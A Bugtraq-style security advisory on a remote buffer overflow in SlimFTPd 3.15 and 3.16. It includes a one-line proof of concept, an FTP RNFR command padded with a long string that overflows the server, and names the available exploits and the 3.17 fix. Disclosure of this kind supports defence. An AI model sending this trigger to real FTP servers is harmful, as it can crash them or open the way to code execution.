WhitSoft Development SlimFTPd Multiple Commands Remote Buffer Overflow Vulnerability

BID:14339

Info

WhitSoft Development SlimFTPd Multiple Commands Remote Buffer Overflow Vulnerability

Bugtraq ID: 14339
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Jul 21 2005 12:00AM
Updated: Jul 21 2005 12:00AM
Credit: Discovery is credited to Raphael Rigo <[email protected]>.
Vulnerable: WhitSoft SlimFTPd 3.16
WhitSoft SlimFTPd 3.15
Not Vulnerable: WhitSoft SlimFTPd 3.17

Discussion

WhitSoft Development SlimFTPd Multiple Commands Remote Buffer Overflow Vulnerability

A remote buffer overflow vulnerability affects WhitSoft Development SlimFTPd.

The problem presents itself when an authenticated user issues a command with excessive string values as parameters.

An attacker can leverage this issue to execute arbitrary machine code with the privileges of the affected FTP server, facilitating unauthorized access to the vulnerable computer.

Exploit / POC

WhitSoft Development SlimFTPd Multiple Commands Remote Buffer Overflow Vulnerability

A proof of concept example is available:

ftp> quote RNFR 123456789012345678901234567890123456789012345678901234
5678901234567890123456789012345678901234567890123456789012345678901234
5678901234567890123456789012345678901234567890123456789012345678901234
5678901234567890123456789012345678901234567890123456789012345678901234
5678901234567890123456789012345678901234567890123456789012345678901234
5678901234567890123456789012345678901234567890123456789012345678901234
5678901234567890123456789012345678901234567890123456789012345678901234
5678901234567890123456789012345

A proof of concept denial of service exploit (47slimftpd_bof.pl) was provided by Dim K0r0l <[email protected]>.

A proof of concept remote code execution exploit (redslim-slimftpd.c) was provided by redsand <[email protected]>:

The slimftpd_list_concat.pm exploit is available for Metasploit.

Solution / Fix

WhitSoft Development SlimFTPd Multiple Commands Remote Buffer Overflow Vulnerability

Solution:
The vendor has released SlimFTPd 3.17 to address this issue.


WhitSoft SlimFTPd 3.15

WhitSoft SlimFTPd 3.16

References

WhitSoft Development SlimFTPd Multiple Commands Remote Buffer Overflow Vulnerability

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